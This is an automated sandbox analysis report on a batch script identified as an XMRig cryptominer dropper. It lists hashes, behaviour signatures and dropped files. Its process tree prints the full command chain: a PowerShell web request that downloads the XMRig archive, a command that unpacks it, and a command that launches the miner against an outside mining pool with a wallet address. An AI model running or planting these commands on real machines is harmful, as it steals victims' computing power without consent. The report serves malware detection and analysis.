Analysis

  • max time kernel
    891s
  • max time network
    886s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/03/2025, 10:14

General

  • Target

    script.bat

  • Size

    793B

  • MD5

    f29c7cf031f619739012fdbfa95bba54

  • SHA1

    ccddd138b2e91a4da65da97ec11f2dc661782e60

  • SHA256

    5e45e7089ffaee30e35a4b61eb918255fbd60c8876956c039165c89a45b51717

  • SHA512

    1eaff6b177df441c856001e7b1367bc6697552f52249df64531d7eaa6ce5c3b05acfb8b6df791370acc7516cdc798b629693f3ce0b26062998ccd7fb558386e5

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 64 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\script.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-gcc-win64.zip' -OutFile 'C:\Users\Admin\Downloads\xmrig.zip'"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Expand-Archive -Path 'C:\Users\Admin\Downloads\xmrig.zip' -DestinationPath 'C:\Users\Admin\Downloads\xmrig' -Force"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1660
    • C:\Users\Admin\Downloads\xmrig\xmrig-6.22.2\xmrig.exe
      xmrig.exe -o xmrpool.eu:3333 -u 48iBkXw7ciAGbjhPdopSM8JtQy2rAx7MZgX2xbf6Sx3oASN6kAQo6nWYDwmDk6kmYPeVRPi8p1KUUGnp6T3Csuge8aPMtYS -p device3
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1904

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f1dbdb27a17a41986d85e7edc4497823

    SHA1

    250fef0887cef2379ebdaa543e4050ba697cf1b0

    SHA256

    77eaefadcc21c71bbb18a8dbdc64e466d109c0e0f84fee8e2b5b622d984a5e9f

    SHA512

    6416284b6584b97b9772fb22ab9ee78ecb726bae926f13f7ad967d04af68e2407336d59ebe9e9f37bec9f0fc32a4d95f07bbfcd7fd68432bc9fd6d81dd87c85a

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5m4qnsf2.d1o.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\Downloads\xmrig.zip

    Filesize

    3.6MB

    MD5

    5e48d84b33cc0ca0cdb29b03a875fd3a

    SHA1

    597660c787259fad45f0e69cbb64fb781333c598

    SHA256

    53b37a734ab27bb40626c6434029defbebe8470f2d89b97e7ce85b40c9a3b05f

    SHA512

    a8a3d14a0ffb27fbc1a3e73c3e8dd2d0d7a35e9dc89eb14d9704d75cc9f424c539c042ae71c56197a90915a44fc19f4942c27b87aa0feae339b15a2853fdd3a8

  • C:\Users\Admin\Downloads\xmrig\xmrig-6.22.2\xmrig.exe

    Filesize

    9.1MB

    MD5

    cb166d49ce846727ed70134b589b0142

    SHA1

    8f5e1c7792e9580f2b10d7bef6dc7e63ea044688

    SHA256

    49da580656e51214d59702a1d983eff143af3560a344f524fe86326c53fb5ddb

    SHA512

    a39bd86a148af26fd31a0d171078fb7bce0951bb8ea63658d87f6bde97dbc214c62e8bd7152d1e621051de8a0ba77ffd7bda7c1106afb740584c80e68e1912ed

  • memory/1660-18-0x00007FFE1F4F0000-0x00007FFE1FFB1000-memory.dmp

    Filesize

    10.8MB

  • memory/1660-19-0x00007FFE1F4F0000-0x00007FFE1FFB1000-memory.dmp

    Filesize

    10.8MB

  • memory/1660-30-0x00007FFE1F4F0000-0x00007FFE1FFB1000-memory.dmp

    Filesize

    10.8MB

  • memory/1660-31-0x000002D862180000-0x000002D862192000-memory.dmp

    Filesize

    72KB

  • memory/1660-32-0x000002D862170000-0x000002D86217A000-memory.dmp

    Filesize

    40KB

  • memory/1660-55-0x00007FFE1F4F0000-0x00007FFE1FFB1000-memory.dmp

    Filesize

    10.8MB

  • memory/1904-86-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-92-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-59-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-60-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-61-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-62-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-63-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-64-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-65-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-66-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-67-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-68-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-69-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-70-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-71-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-72-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-73-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-74-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-75-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-76-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-77-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-78-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-79-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-80-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-81-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-82-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-83-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-84-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-85-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-121-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-87-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-88-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-89-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-90-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-91-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-58-0x000001DA19D80000-0x000001DA19DA0000-memory.dmp

    Filesize

    128KB

  • memory/1904-93-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-94-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-95-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-96-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-97-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-98-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-99-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-100-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-101-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-102-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-103-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-104-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-105-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-106-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-107-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-108-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-109-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-110-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-111-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-112-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-113-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-114-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-115-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-116-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-117-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-118-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-119-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/1904-120-0x00007FF66E220000-0x00007FF66EE54000-memory.dmp

    Filesize

    12.2MB

  • memory/2356-0-0x00007FFE1F4F3000-0x00007FFE1F4F5000-memory.dmp

    Filesize

    8KB

  • memory/2356-1-0x00007FFE1F4F0000-0x00007FFE1FFB1000-memory.dmp

    Filesize

    10.8MB

  • memory/2356-7-0x000002367F7F0000-0x000002367F812000-memory.dmp

    Filesize

    136KB

  • memory/2356-12-0x00007FFE1F4F0000-0x00007FFE1FFB1000-memory.dmp

    Filesize

    10.8MB

  • memory/2356-16-0x00007FFE1F4F0000-0x00007FFE1FFB1000-memory.dmp

    Filesize

    10.8MB